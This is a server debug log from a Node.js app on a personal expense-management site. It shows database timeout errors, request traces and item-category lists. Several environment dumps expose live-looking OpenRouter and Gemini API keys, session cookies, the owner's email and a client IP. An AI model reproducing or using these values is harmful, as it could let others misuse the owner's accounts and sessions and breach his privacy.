Error: delete from `sessions` where expired < CAST('2026-02-03 23:52:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 23:52:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 03:09:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 03:09:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 03:28:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 03:28:30' as DATETIME)"
}
2026-02-04T04:31:35.836Z server-connect:router Serving templateView /
2026-02-04T04:31:35.837Z server-connect:app Executing action step identify
2026-02-04T04:31:35.837Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:35.837Z server-connect:output identity: 1
2026-02-04T04:31:35.837Z server-connect:app Executing action step restrict
2026-02-04T04:31:35.837Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T04:31:35.839Z server-connect:output restrict: undefined
2026-02-04T04:31:35.839Z server-connect:app Executing action step restrict
2026-02-04T04:31:35.839Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T04:31:35.840Z server-connect:output restrict: undefined
2026-02-04T04:31:35.840Z server-connect:router Render template layouts/main
2026-02-04T04:31:35.840Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T04:31:42.943Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T04:31:42.943Z server-connect:app Executing action step identify
2026-02-04T04:31:42.943Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:42.943Z server-connect:output identity: 1
2026-02-04T04:31:42.944Z server-connect:app Executing action step restrict
2026-02-04T04:31:42.944Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:42.944Z server-connect:output restrict: undefined
2026-02-04T04:31:42.944Z server-connect:app Executing action step select
2026-02-04T04:31:42.944Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T04:31:42.949Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T04:31:42.951Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T04:31:42.952Z server-connect:app Executing action step identify
2026-02-04T04:31:42.952Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:42.952Z server-connect:output identity: 1
2026-02-04T04:31:42.952Z server-connect:app Executing action step restrict
2026-02-04T04:31:42.952Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:42.952Z server-connect:output restrict: undefined
2026-02-04T04:31:42.952Z server-connect:app Executing action step single
2026-02-04T04:31:42.952Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T04:31:42.953Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T04:31:45.417Z server-connect:router Serving templateView /diecast
2026-02-04T04:31:45.417Z server-connect:app Executing action step identify
2026-02-04T04:31:45.417Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:45.417Z server-connect:output identity: 1
2026-02-04T04:31:45.417Z server-connect:app Executing action step restrict
2026-02-04T04:31:45.417Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T04:31:45.418Z server-connect:output restrict: undefined
2026-02-04T04:31:45.418Z server-connect:router Render template diecast
2026-02-04T04:31:45.418Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T04:31:45.673Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T04:31:45.674Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T04:31:45.675Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:31:45.676Z server-connect:app Executing action step identify
2026-02-04T04:31:45.676Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:45.676Z server-connect:output identity: 1
2026-02-04T04:31:45.676Z server-connect:app Executing action step restrict
2026-02-04T04:31:45.676Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:45.677Z server-connect:app Executing action step identify
2026-02-04T04:31:45.677Z server-connect:app options: { provider: 'security' }
2026-02-04T04:31:45.677Z server-connect:output identity: 1
2026-02-04T04:31:45.677Z server-connect:app Executing action step restrict
2026-02-04T04:31:45.677Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:31:45.679Z server-connect:output restrict: undefined
2026-02-04T04:31:45.679Z server-connect:app Executing action step select
2026-02-04T04:31:45.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T04:31:45.680Z server-connect:router Serving serverConnect /api/masters/collections/list
